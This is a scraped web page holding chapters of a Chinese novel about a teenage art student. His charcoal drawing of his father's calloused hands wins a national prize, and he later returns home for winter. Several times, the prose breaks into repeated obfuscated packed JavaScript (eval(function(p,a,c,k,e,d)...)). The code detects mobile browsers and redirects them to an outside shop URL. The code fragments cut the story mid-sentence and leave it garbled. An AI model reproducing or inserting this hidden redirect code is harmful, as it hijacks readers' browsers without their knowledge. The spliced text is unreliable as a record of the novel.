;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444027|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,拿起画本,翻到新的一页,开始画。他没有用铅笔,而是从枕头底下摸出一支炭笔——那是周老师送他的,说炭笔比铅笔更适合画大幅作品。炭笔在纸面上滑过,留下浓黑的线条,不像铅笔那样细腻,但更有力量,更直接,更原始。 他画的是父亲的手。不是一只手,是两只手,合在一起,掌心朝上,像在捧着什么东西。那双手很大,骨节突出,指甲缝里有洗不掉的水泥灰。掌心的老茧像一座座小山,虎口的疤痕像一条干涸的河流。他把那双手画得很大,大到占据了整张纸的三分之二。在手的上方,他画了一颗小小的星星,很亮,很白,像一颗钻石。 他画完之后,盯着那颗星星看了很久。他不知道这颗星星代表什么——也许是希望,也许是梦想,也许是父亲说的“你比电视上还好”。他把画本放在枕头底下,关了灯,闭上眼睛。 第二天,他把这幅草图拿给周老师看。周老师看了很久,一句话也没有说。他把画放在桌上,用手指在那些线条上轻轻划过,像是在抚摸一件珍贵的瓷器。 “就画这个。”周老师说,“把它放大,画在整张画纸上。用炭笔,黑白灰,不要颜色。颜色会分散注意力,黑白才能把所有的力量集中在那一双手上。” 张小五点了点头,把画本收好,回到画室,开始画。 他画了整整一个星期。每天下课之后,他就坐在画室里,对着那张巨大的画纸,用炭笔一笔一笔地画。他画得很慢,比平时慢得多,因为他不敢出错。炭笔不像铅笔,错了很难擦掉,即使擦掉了也会留下痕迹。他要每一笔都准确,每一笔都有意义,每一笔都不浪费。 他画着画着,忘记了时间,忘记了周围的一切。陆一鸣叫他去吃饭,他说“等一下”,等一下就是两个小时。林子涵叫他去上课,他说“马上”,马上就是半个小时。欧阳逸飞叫他回宿舍,他说“你先走”,他走的时候已经是半夜了。 画室里的灯一盏一盏地灭了,只剩下他头顶那盏。整栋楼都很安静,安静得能听见自己的呼吸声和炭笔在纸面上摩擦的沙沙声。那些声音像一首催眠曲,但他没有睡意。他的眼睛很亮,亮得像两颗被擦干净的星星。 第七天,他画完了。 他退后几步,看着这幅画。画上的两只手合在一起,掌心朝上,像在捧着什么东西。那些骨节、老茧、疤痕、指甲、指纹,每一个细节都清清楚楚,像真的一样。手的上方是一颗星星,很小,但很亮,亮得像一盏灯。整幅画只有黑白灰,但层次非常丰富,从最深处的黑色到最浅处的白色,中间有无数个过渡的灰色,像一首用明暗写成的交响乐。 他不知道这幅画能不能获奖,不知道周老师会怎么评价,不知道别人看了会有什么感觉。但他知道,这是他画得最用心、最用力、最没有保留的一幅画。他把所有的东西都放进去了——对父亲的爱,对生活的理解,对未来的期待。那些东西看不见摸不着,但它们在画里,在每一笔线条里,在每一个调子里,在那颗星星的光里。 他把画从画板上取下来,小心翼翼地卷起来,放进画筒里。然后他关灯,锁门,走回宿舍。 走廊里很暗,只有应急灯发出微弱的绿光。他走在绿光里,脚步声在空荡荡的走廊里回荡,像一个人在空旷的教堂里走路。他忽然觉得有点想哭,不是因为难过,是因为一种说不清的情绪——也许是疲惫,也许是释然,也许是一个人在深夜里走了很久之后,终于看见了一盏灯。 他回到宿舍,室友们都睡了。他轻手轻脚地洗漱,换上睡衣,躺在床上。他把画筒放在枕头旁边,把手表摘下来放在床头,把平安符从脖子上取下来放在枕头底下。他闭上眼睛,脑子里还是那幅画——那双手,那颗星。 他忽然想,如果父亲看到这幅画,会说什么?会说“画得好”吗?会说“这是爸的手吗”?还是会什么都不说,只是看着,眼眶红了,然后转过身去,假装在找东西? 张小五翻了个身,把脸埋进枕头里。枕头上有一股淡淡的洗衣粉的味道,不是家的味道,但也不陌生了。他在这里已经住了两个月,这个枕头,这床被子,这间宿舍,已经慢慢地变成了他的另一个家。 窗外,月光很亮,照在窗帘上,把那些印在布上的碎花照得像真的一样。张小五看着那些碎花,心想,明天他要把画交给周老师。周老师会怎么评价?他不知道。但他知道,不管周老师说什么,他都不会再改了。这幅画已经用尽了他所有的力气,就像一场考试,交卷之后,你再怎么想改答案,也来不及了。 他闭上眼睛,很快就睡着了。 32. 手 周老师看过那幅画之后,沉默了很久。他站在画架前,双手抱胸,眉头微蹙,像一尊雕像,一动不动。张小五站在他身后,手心全是汗,心跳得像擂鼓。他不敢说话,甚至不敢大声呼吸,怕打扰到周老师的审视。画室里很安静,安静得能听见窗外风吹树叶的声音,沙沙的,像有人在轻声说着什么。 “这是你爸的手?”周老师终于开口了,声音很轻。 “是。” 周老师没有再说话。他走上前,伸出手,指尖在那幅画的表面轻轻划过,像是在触摸那些炭笔留下的痕迹。张小五看见他的手在微微发抖,那是一只老人的手,皮肤松弛,青筋暴起,指甲剪得很短,指尖有常年握笔留下的茧。那只手和他的画上的手,一真一假,一老一少,在空气中隔着几厘米的距离,像在进行一场无声的对话。 “这幅画,我送展了。”周老师说,声音有点哑,“不管能不能获奖,这幅画都是你目前最好的作品。记住你画这幅画时的感觉。以后你可能会画得更好,技巧更纯熟,构图更精妙,颜色更丰富,但那种感觉——那种把所有力气都放在一笔一划里的感觉——可能会越来越少。不是因为你退步了,是因为你习惯了。习惯是一件可怕的事,它会让你变得麻木,让你觉得画画不过如此。但画画不是‘不过如此’。画画是‘就是这样’——就是这样难,就是这样苦,就是这样让人又爱又恨。” 张小五听着这些话,把它们一句一句地刻在心里。他不知道以后会不会忘记,但他想记住。记住周老师颤抖的手指,记住他沙哑的声音,记住他说的每一个字。 “周老师,谢谢你。”他说。 周老师摆了摆手,转过身,走回了自己的办公室。他的背影很瘦,背微微弯着,脚步很轻,像一片在风中飘落的叶子。张小五看着那个背影消失在走廊尽头,然后低下头,看着自己的画。画上的两只手合在一起,掌心朝上,像在捧着什么。那颗星星很小,但很亮,亮得像一盏灯。他忽然想到,这颗星星不是他画的,是父亲给的。父亲给了他这双手,这双粗糙的、布满老茧的、曾经握着瓦刀和钢筋的手。他用这双手画画,画出来的不是他的手,是父亲的手。这是一种传承,一种他不知道该怎么命名的、比血缘更深的东西。 他把画从画架上取下来,小心翼翼地卷好,放进画筒里,交给周老师。周老师会替他把画送到北京,参加那个全国性的比赛。他不知道结果会怎样,但他知道,这幅画已经完成了它的使命——它让他明白了自己为什么要画画。 十一月下旬,杭州开始冷了。 那种冷不是北方的干冷,是南方特有的湿冷,冷得骨头疼。风从西湖那边吹过来,带着水汽,钻进衣服的每一个缝隙,像无数根细细的针,扎在皮肤上。张小五把母亲织的那条围巾围上了,把父亲寄来的棉袜穿上了,把校服的外套拉链拉到最上面,但手还是冷的。画画的时候手冷是最要命的,手指不灵活,线条画不直,调子排不匀,连铅笔都握不稳。 他去学校门口的文具店买了一副手套,那种露手指的,掌心是毛线的,手指露在外面,方便握笔。手套不贵,十五块钱,黑色的,戴上去有点大,但很暖和。他试了试,手指虽然露在外面,但手背和掌心被包住了,整体的温度提了上来,手指也没那么僵了。他买了三副,一副自己用,一副寄给父亲,一副寄给母亲。父亲的手也怕冷,冬天的时候会裂口子,一条一条的血口子,像干裂的土地。母亲的手也怕冷,她在厂里上班,车间冬天没有暖气,手指冻得发红,像一根根胡萝卜。 寄出去之后,他给父亲打了个电话。 “爸,我给你寄了一副手套,露手指的,你干活的时候可以戴。” “爸不冷。”张建国的声音有点哑,但语气里有一种藏不住的开心。 “你手冬天裂口子,戴手套好得快。” “知道了。你冷不冷?杭州那边冷吗?” “冷,但比咱家暖和。咱家这会儿都零下了吧?” “零下八度。昨天下雪了,不大,薄薄一层。” 张小五握着手机,想象着北城的雪。那些雪落在老槐树的枝丫上,落在对面楼的红色屋顶上,落在巷口那盏昏黄的路灯上。那只橘色的胖猫应该躲在楼道里了吧,它怕冷,冬天从来不出去,就缩在楼梯拐角的纸箱里,等有人经过的时候“喵呜”一声,讨一口吃的。 “爸,你给那只猫喂点吃的,别让它饿着。” “喂了,天天喂。它现在胖得像一头小猪,走都走不动了。” 张小五笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得北城和杭州的距离没有那么远了。一千多公里,但一只猫就能把两个地方连在一起。 十二月中的时候,周老师带来了一个消息。 “张小五,你的画入选了。”周老师站在画室门口,手里拿着一个信封,脸上的表情很平静,但眼睛里有一种藏不住的得意,“全国中学生美术作品展,入选作品。不是获奖,是入选。但入选已经很不容易了,今年全国有三千多幅作品参赛,只选了两百幅。” 张小五站在那里,大脑一片空白。入选了。不是获奖,是入选。但入选已经很不容易了,三千选两百,十五选一。他的画是那十五分之一。他想起那双手,那双他画了整整一个星期的手,那双骨节突出、布满老茧、指甲缝里有水泥灰的手。它们从北城的一家小画室里出发,穿过一千多公里的距离,走到了北京,走进了那个全国最高的中学生美术殿堂。 “周老师,入选了有证书吗?”他问。 “有。过几天寄过来。” 张小五点了点头,把那个消息消化了一下,然后拿出手机,给父亲发了一条消息:“爸,我的画入选了全国比赛。三千人选两百人,我是其中之一。” 这一次,父亲没有回“好”。他直接打了电话过来。张小五接起来,听见父亲的声音在发抖,像是在哭,又像是在笑。 “小五,你说的是真的?” “真的。” “全国比赛?” “全国比赛。” 电话那头沉默了很久。张小五听见父亲在吸气,在呼气,在努力让自己平静下来。然后他听见父亲说了一句话,声音很轻,轻得像一片落在雪地上的羽毛。 “小五,你妈知道了没?” “还没,我正要告诉她。” “你告诉她,让她也高兴高兴。” 张小五挂了电话,又给母亲打过去。王秀兰接电话的时候正在吃午饭,嘴里嚼着什么东西,含混不清地说:“小五?怎么了?” “妈,我的画入选了全国比赛。三千人选两百人,我是其中之一。” 电话那头传来一声巨响,像是什么东西掉在了地上。然后是母亲的声音,又哭又笑,像疯了似的:“小五! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444028|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小五!妈就知道!妈就知道你能行!妈太高兴了!妈……” 张小五听着母亲的声音,嘴角弯了起来。他看着窗外的天空,天很蓝,蓝得透明,像一块巨大的玻璃。有几朵云飘过去,慢悠悠的,像几只白色的帆船。 他忽然想起父亲说过的一句话——“月亮不是每天都圆的,但它一直都在。”今天不是满月,但他觉得心里很满。满得像要溢出来,像秋天的湖水,涨得快要漫过堤岸。他没有哭,只是站在那里,握着手机,听着母亲的笑声和哭声,觉得这一切值得。所有的苦,所有的累,所有的深夜和黎明,所有的眼泪和汗水,都值得。 晚上,他把这个好消息告诉了室友们。陆一鸣第一个跳起来,抱着他转了三圈,差点把桌子上的颜料盒撞翻。林子涵难得地笑了,说“恭喜”。欧阳逸飞从床上坐起来,说“请客请客”,然后从柜子里拿出一袋牛肉干、一包薯片、一瓶可乐,扔在桌上。 “来,庆祝张小五同学入选全国比赛!”欧阳逸飞举起可乐瓶。 陆一鸣和林子涵也举起瓶子。张小五看着他们,忽然觉得眼眶有点热。他举起瓶子,和他们碰在一起。玻璃瓶碰撞发出清脆的声响,在宿舍里回荡,像一首短促而欢快的乐曲。 “敬我爸。”他说,“他的手。” 三个人仰起头,咕咚咕咚地把可乐灌进肚子里。可乐是甜的,气泡在舌尖上炸开,麻酥酥的。张小五觉得这就是成功的味道——甜中带麻,麻中带痛,痛中带着一种说不出的快感。 那天晚上,他躺在床上,把手表摘下来放在床头,把平安符从脖子上取下来放在枕头底下。他看着窗外的月亮,月亮已经缺了一大半,只剩一弯细细的月牙,像一片被咬了一口的薄饼。但还是很亮,亮得像一盏灯。 他伸出手,对着那弯月牙,比了一个握笔的姿势。他的手指在空中画了一个圈,那是星星的形状。他不知道自己在画什么,也许是在画那颗星星,那颗在父亲掌心上方的星星。那颗星星很小,但很亮,亮得像一盏永远不会熄灭的灯。 他放下手,闭上眼睛。 黑暗中,他听见室友们的呼吸声,此起彼伏,像海浪一样。他在这片海浪中慢慢地沉下去,沉进了一个很深很深的梦里。 梦里他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。画室里没有石膏像,没有静物,没有模特,只有一面巨大的白墙,和一支靠在墙边的画笔。他走过去,拿起那支画笔,发现它很重,重得像一把铁锹。他用两只手握住它,在白墙上画了一只手。不是父亲的手,是他自己的手。手指细长,骨节突出,指尖有握笔留下的茧。 他画完之后,那只手忽然动了一下,手指弯曲,掌心朝上,像是在等待什么东西落下来。 他抬起头,看着天花板。天花板上什么都没有,只有一片空白。 但他知道,会有什么东西落下来的。也许是一颗星星,也许是一束光,也许是一滴雨。也许什么都没有,只有风,只有空气,只有时间。 但那也没关系。 因为他的手已经张开了,它准备好了。 张小五在梦里笑了,笑得眼睛弯弯的,像两个小月牙。他没有醒来,翻了个身,把被子裹紧了一点,继续睡。窗外的月牙慢慢地沉下去,沉到香樟树的树梢后面,沉到远处的高楼后面,沉到这座城市的最深处。 天快亮了。 33. 证书 证书是圣诞节那天寄到的。 张小五对这个洋节日没什么感觉。北城的老人们连春节都过得潦草,更别说圣诞节了。他只知道这一天学校食堂会发一个苹果,红红的,用保鲜膜包着,上面贴着一个圣诞老人的贴纸。他把苹果吃了,很脆,很甜,然后把贴纸撕下来贴在画本上——不是因为它好看,是因为它红,那种红很难调,他想留着当色标。 证书是一个牛皮纸信封,比普通的信封大一号,鼓鼓囊囊的,里面好像不止一张纸。张小五在门卫室的窗台上拆开它,周围等着拿快递的同学都探过头来看。信封上印着“全国中学生美术作品展组委会”的字样,红色的,烫金的,在日光灯下闪闪发光。 他抽出里面的东西——一张获奖证书,一张入选证书,还有一本作品集。获奖证书是铜奖,印着他的名字、作品名称《手》、学校和指导老师周明远的名字。入选证书是入围奖,上面写着“特发此证,以资鼓励”。作品集是厚厚的铜版纸,封面是今年展览的主题——“生长”。他翻到目录,找到自己的名字,翻到那一页。那双手被缩小印在了右下角,占了一小块地方,旁边是其他获奖作品。他盯着那个小小的画面看了很久,那双手变得很小,但那些骨节、老茧、疤痕、指甲、指纹,还是清清楚楚的,像真的一样。 他把证书和作品集抱在怀里,走出门卫室。外面阳光很好,照在身上暖洋洋的。他站在台阶上,仰起头,看着天空。天很蓝,蓝得透明,像一块巨大的玻璃。有几朵云飘过去,慢悠悠的,像几只白色的帆船。 他给父亲打了一个电话。 “爸,证书到了。铜奖。” “铜奖是第几名?”张建国的声音有点紧张。 “第三名。” 电话那头沉默了一会儿。张小五听见父亲在吸气,在呼气,像是在努力让自己平静下来。然后他听见父亲说了一句话,声音很轻,轻得像一片落在雪地上的羽毛。 “第三名。小五,你是全国第三。” 张小五笑了。不是那种谦虚的、不好意思的笑,而是一种坦然的、骄傲的、发自内心的笑。全国第三,在三千多人里面。这个成绩不是运气,是他一笔一笔画出来的,是那双手在画纸前坐了几千个小时换来的。 “爸,我把证书寄回去,你帮我收着。” “好。爸给你收着,挂在你房间里,等你回来就能看见。” 挂了电话,他又给母亲发了一条消息。不是打电话,是发消息。他知道母亲这时候在上班,接电话不方便。他打了一行字:“妈,证书到了。铜奖,全国第三。”然后配了一张证书的照片,发了过去。 过了一会儿,母亲回了一条语音。他点开,听见母亲的声音,又哭又笑,像疯了似的。旁边有人在问“怎么了怎么了”,母亲说“我儿子得了全国第三”,然后是一片乱七八糟的恭喜声和掌声。 张小五听着那些声音,嘴角弯了起来。他把手机放进口袋,抱着证书和作品集,走回了宿舍。 他把证书放在桌上,看了很久。铜奖,全国第三。这几个字像一束光,照在他灰蒙蒙的生活里。他想起那些深夜里独自画画的时光,想起那些在医院走廊上无声等待的夜晚,想起那些折叠椅上蜷缩成一团的凌晨。所有的这些,都变成了这张纸。他伸出手,用手指摸了摸那个烫金的印章,凸起来的,有质感,像浮雕一样。他忽然想起父亲的手,那双粗糙的、布满老茧的手。就是那双手,把他养大,把他送进了美院附中,把他推到了全国第三的位置上。 他把证书收好,放在枕头底下,和那两个平安符放在一起。 寒假前的最后一周,大家都在准备期末考试。张小五的素描和速写没问题,色彩还需要再练练。他每天下午都会去画室加练,一个人,对着静物台,把那组画了无数遍的静物再画一遍。沈老师有时候会过来看看,指出一些问题,示范几笔,然后走开。她走后,张小五会把她示范的地方擦掉,重新画一遍,看看自己能不能画出同样的效果。画不出来,他就再画一遍;还画不出来,就再画一遍。一遍又一遍,直到那只手记住了那个动作,直到那些颜色不再陌生。 有时候画到一半,他会停下来,看着窗外的天空发呆。冬天的天黑得早,五点多就开始暗了,六点就全黑了。他看着那些灯光一盏一盏地亮起来,橘黄色的、白色的、蓝色的,像一幅巨大的点彩画。他忽然想起周扬说过的一句话——“张小五,你以后要是成了大画家,我可就指着你吹牛了。”他笑了,笑得眼睛弯弯的,像两个小月牙。他不知道以后能不能成为大画家,但他知道,不管成不成,周扬都会指着他说“那是我哥们儿”。 这就是朋友。 考试前三天,张小五收到了一个包裹。不是母亲寄的,是周扬寄的。包裹很大,很重,拆开一看,里面是一箱零食、一袋暖宝宝、一双手套、一条围巾、一封信。信是周扬写的,字迹潦草得像狗爬,但每一句都很用力。 “张小五,听说你得了全国第三,牛逼!我就说你行吧!这些东西是我妈让我寄的,她说杭州冷,让你多穿点。暖宝宝贴在身上,别冻着。手套是新的,你那副旧的该换了。围巾是我挑的,黑色的,百搭。零食你自己吃,别分给别人,除非是美女。好了,不说了,我要去考试了。寒假回来请你吃饭。” 张小五把那封信看了两遍,然后把那些东西一样一样地从箱子里拿出来。暖宝宝,一袋三十片,够用一个冬天。手套,黑色的,羊皮的,很软,很暖。围巾,黑色的,毛线的,很长,可以绕好几圈。零食,薯片、饼干、巧克力、牛肉干、果冻,都是他爱吃的。 他把围巾围在脖子上,把手套戴上,把暖宝宝贴在衣服里面。然后他坐在床上,拆开一包牛肉干,慢慢地嚼。牛肉干很硬,很咸,但很香,嚼得腮帮子都酸了。他嚼着嚼着,忽然很想周扬。想他圆圆的脸上永远挂着的傻笑,想他每天中午帮他带饭的身影,想他说的那句“你他妈太牛了”。这些声音和画面,像电影一样在他脑子里闪过,一帧一帧的,清晰得像是昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他闭上眼睛,脑海里浮现出这半年的点点滴滴。第一次走进美院附中的校门,第一次在画室里画大卫,第一次被周老师表扬,第一次被沈老师批评,第一次拿到全国比赛的证书,第一次在西湖边写生。所有的这些,像一颗颗珍珠,串成了一串项链,挂在他十五岁的脖子上。 他睁开眼,看着窗外的天空。天很蓝,蓝得透明,像一块巨大的玻璃。有几朵云飘过去,慢悠悠的,像几只白色的帆船。 他忽然想起父亲说过的一句话——“等你回来,给爸画一幅北城的。” 他笑了。北城没有西湖,没有保俶塔,没有那些诗情画意的风景。北城只有灰蒙蒙的天,光秃秃的树,脏兮兮的护城河,和那个四十平米的老房子。但那是家,是父亲的全部。 他拿出画本,翻到新的一页,开始画。他画的是北城的家——那面掉了墙皮的墙,那张有裂纹的茶几,那个弹簧坏掉的沙发,那盆快死了但没死的绿萝,还有那扇用绳子系着的窗户。他画得很慢,一笔一笔地,像是在和这个家对话,和这个城市对话,和那些他离开了半年但从未忘记的一切对话。 画完之后,他在纸的右下角写了一行字。 “北城,我回来了。” 34. 回家了 火车到站的时候,北城正在下雪。 张小五拖着行李箱走出车厢,冷风扑面而来,像刀子一样割在脸上。他在杭州待了半年,已经快忘了北方的冬天是什么滋味了。那是一种干冷,冷得干脆利落,不拖泥带水,不像南方的湿冷那样钻进骨头缝里,而是直接冻住你的鼻子和耳朵,让你的呼吸变成一团团白雾。他深吸一口气,鼻腔里满是冰冷而干燥的空气,熟悉得像一个久违的拥抱。 站台上人很多,都是赶着回家过年的人。有的拖着行李箱,有的背着大包小包,有的抱着孩子,有的搀着老人。他们的脸上都带着一种共同的期待——回家的期待。张小五站在人群中,被推着往前走,穿过地下通道,走出出站口。 出站口外面站满了接站的人。有的举着牌子,有的踮着脚尖张望,有的在打电话,有的在挥手。张小五扫了一圈,没有看见父亲。他心里有点慌,拿出手机想打电话,刚掏出手机,就听见一个声音从侧面传来。 “小五!” 他转过身,看见父亲站在出站口旁边的柱子下面,穿着一件深蓝色的棉袄,围着那条灰色的围巾,戴着他寄回来的那副露手指的手套。他的头发比半年前更白了,两鬓几乎全白了,像落了一层霜。他的背更弯了,肩膀更塌了,整个人看起来更小了。但他在笑,笑得眼角的皱纹像干裂的土地,但那个笑容很真,很亮,像是一盏灯在那些沟壑深处亮了起来。 张小五拉着行李箱走过去,站在父亲面前。他比父亲高了,半年前他们还差不多高,现在他已经比父亲高了小半个头。他低下头看着父亲,父亲仰起头看着他,两个人对视了几秒钟,然后同时笑了。 “爸,你瘦了。”张小五说。 “你也瘦了。”张建国说,“但个子高了。” 张小五把行李箱递给父亲,父亲接过去,拉在手里。父子俩并排走出火车站,走向公交站。雪越下越大,大片大片的雪花从灰蒙蒙的天空飘下来,落在他们的头发上、肩膀上、衣服上。张小五没有撑伞,他喜欢雪,喜欢雪花落在脸上的那种凉丝丝的感觉。他仰起头,张开嘴,接住一片雪花,雪花在舌尖上瞬间融化,化成一小滴冰水,凉得他打了一个哆嗦。 “你还是小孩子。”张建国看着他,摇了摇头,但眼睛里满是笑意。 “在爸面前,我永远是小孩子。”张小五说。 张建国没有说话,只是伸出手,拍了拍他肩膀上的雪。 公交车来了,他们上了车。车上人不多,他们找了最后一排的位置坐下,行李箱放在脚边。张小五靠着车窗,看着窗外的街景一点一点地从陌生变得熟悉——那条他走了无数遍的老街,那个他买了无数次包子的铺子,那棵他画了无数遍的梧桐树。所有的东西都在告诉他:你回来了,你到家了。 “爸,那只猫还在吗?”张小五问。 “在。胖得像一头小猪。”张建国说,“天天蹲在楼道口等你回来。” 张小五笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得心里暖洋洋的,像喝了一大碗热汤。 车到站了,他们下了车,走进那条老巷子。巷子里的雪已经积了厚厚一层,踩上去咯吱咯吱地响。那棵老槐树光秃秃的,枝丫上挂满了雪,像一位白了头的老人。那只橘色的胖猫不在,大概是太冷了,躲在楼道里了。 他们走上楼梯,六楼,一步一步地爬。张小五走在前面,张建国走在后面,行李箱的轮子在楼梯上磕磕绊绊地响。走到三楼的时候,张小五停下来,回过头,看见父亲正扶着栏杆喘气。他的脸很红,呼吸很重,胸口剧烈地起伏着。 “爸,你没事吧?”张小五的心紧了一下。 “没事,就是爬楼有点累。”张建国摆了摆手,继续往上走。 张小五放慢了脚步,跟在父亲旁边。他看着父亲的侧脸,那张脸上的皱纹更深了,老年斑也更多了,颧骨高高地凸出来,脸颊深深地凹进去。他忽然觉得鼻子很酸,但他忍住了,没有让眼泪掉下来。 到了六楼,张建国掏出钥匙,插进锁孔,拧了两下,门开了。 屋里的样子和他走的时候一模一样。掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了但没死的绿萝,还有那扇用绳子系着的窗户。墙上多了两样东西——一幅画和一封信。画是他寄回来的那幅西湖,裱在一个廉价的塑料相框里,挂在客厅最显眼的位置。信是父亲写给他的那封,也用相框裱了起来,挂在画的旁边。方格纸上的字歪歪扭扭的,但在相框里看起来像一件艺术品。 张小五站在客厅中间,看着这个他住了十五年的地方,觉得它变小了。以前他觉得这个家很大,大到可以装下他所有的梦想和恐惧。现在他觉得它很小,小到一眼就能看尽每一个角落。不是家变小了,是他长大了。他的世界变大了,家就相对变小了。但无论世界多大,家永远是那个原点,那个他出发的地方。 “饿了吧?爸给你下碗面。”张建国说着,走进了厨房。 张小五没有拦他。他知道父亲想做饭给他吃,这是他表达爱的方式。他走到沙发前,坐下来,沙发还是那样,“嘎吱”一声,他的身体往下陷了一大截,弹簧硌着他的屁股。他没有动,就那么坐着,闭着眼睛,感受着这个家的味道。霉味、灰尘味、旧家具的味道,还有一点点他以前画画用的铅笔灰的味道。这些味道不好闻,但它们是家的味道。杭州的味道太干净了,干净得没有人情味。家不一样,家是乱的、旧的、破的,但它是活的,有温度的,会呼吸的。 厨房里传来切菜的声音,“咚咚咚”的,很有节奏。张小五站起来,走到厨房门口,靠在门框上,看着父亲的背影。父亲站在案板前,系着那条洗得发白的围裙,正在切葱花。他的手很稳,但动作很慢,比以前慢了很多。他切完葱花,又切了几片西红柿,然后打开冰箱拿出两个鸡蛋。 “爸,我帮你。” “不用,你坐着等。” 张小五没有走,就那么靠在门框上,看着父亲做饭。他看着父亲把水烧开,把面条放进去,用筷子搅了搅,然后盖上锅盖。他看着父亲把鸡蛋打在碗里,用筷子打散,金黄色的蛋液在碗里旋转。他看着父亲把切好的西红柿倒进锅里,炒出红油,然后倒水,煮开,再把打散的鸡蛋慢慢倒进去,蛋花在汤里散开,像一朵朵金色的云。 面煮好了,张建国把面盛在两个大碗里,一碗多的给张小五,一碗少的给自己。他在多的那碗里加了一个荷包蛋,在少的那碗里加了几片青菜。父子俩端着碗坐到茶几前,张小五吃大的,张建国吃小的。 张小五低下头,吃了一口面。面条很滑,汤很鲜,鸡蛋很嫩,和记忆中的味道一模一样。他大口大口地吃着,吃得“呼噜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444030|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼噜”响,像一只饿坏了的小狗。张建国看着他,嘴角弯着,眼角的皱纹像干裂的土地,但那个笑容很真,很亮。 “慢点吃,没人跟你抢。” “爸,你做的面真好吃。” 张建国没有说话,低下头吃自己的面。他吃得很慢,一根一根地吃,像是在品尝什么珍贵的东西。张小五知道他不是在品尝面,他是在品尝这一刻。这一刻,儿子坐在他对面,吃着他做的面,说着“好吃”。这一刻,他是父亲,他是被需要的,他是有用的。 吃完面,张小五把碗洗了,把厨房收拾干净。然后他回到自己的房间,推开房门。房间里还是老样子,书桌上堆着画具和课本,墙上贴着他以前画的画。床上的被子叠得整整齐齐,枕头底下露出画本的一角。他走过去,坐在床上,把画本从枕头底下抽出来,翻了几页。那些画都是他以前画的,有金鱼,有母亲,有父亲,有周扬,有陈雨桐。每一幅画都是一段记忆,每一段记忆都有一个故事。 他把画本合上,放回枕头底下。然后他站起来,走到书桌前,坐下来。桌上有一张纸条,是父亲写的,压在台灯下面。 “小五,欢迎回家。——爸” 张小五看着那张纸条,嘴角弯了一下。他把纸条折好,放进口袋里,和那些纸条放在一起。他的口袋已经很鼓了,各种纸条、证书、成绩单,像一座小小的档案馆,记录着他这半年来的每一步。现在又多了一张,一张来自父亲的、歪歪扭扭的、但每一个字都写得很用力的纸条。 窗外,雪还在下。大片大片的雪花从灰蒙蒙的天空飘下来,落在老槐树的枝丫上,落在对面楼的红色屋顶上,落在巷口那盏昏黄的路灯上。那只橘色的胖猫不知道什么时候回来了,蹲在楼下的花坛边上,仰着头看着六楼的窗户,眯着眼睛,“喵呜”了一声。 张小五推开窗户,探出头去,朝它挥了挥手。 “我回来了。”他说。 橘猫又“喵呜”了一声,然后站起来,抖了抖身上的雪,慢悠悠地走进了楼道。 张小五看着它的背影,笑了。 他关上窗户,拉好窗帘,脱了衣服,钻进被子里。被子是父亲晒过的,有一股太阳的味道,暖暖的,香香的。他把脸埋进枕头里,深深地吸了一口气,然后把那口气慢慢地呼出来。 他闭上眼睛。 这一次,他没有走进那间很大的画室。他走进了一个很小的房间,四面墙都是画,地上堆满了画具,桌上摆着一碗热气腾腾的面。父亲坐在对面,低着头,正在吃面。 他在父亲对面坐下来,拿起筷子,夹起一筷子面,放进嘴里。 面很烫,烫得他眼泪都出来了。 但他没有停下来,一口一口地吃着,把碗里的面吃得干干净净,连汤都喝完了。 然后他放下筷子,看着父亲。 父亲抬起头,看着他,笑了。 张小五也笑了。 他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得这个梦比任何现实都真实。 窗外,雪停了。月亮从云层后面探出头来,照在雪地上,把整个世界照得银白银白的。那只橘色的胖猫蜷缩在楼梯拐角的纸箱里,打着呼噜,呼噜声在空荡荡的楼道里回荡,像一首古老的摇篮曲。 张小五翻了个身,把被子裹紧了一点,沉沉睡去。 35. 年前的雪 张小五在家睡的第一夜,比在杭州的任何一晚都沉。 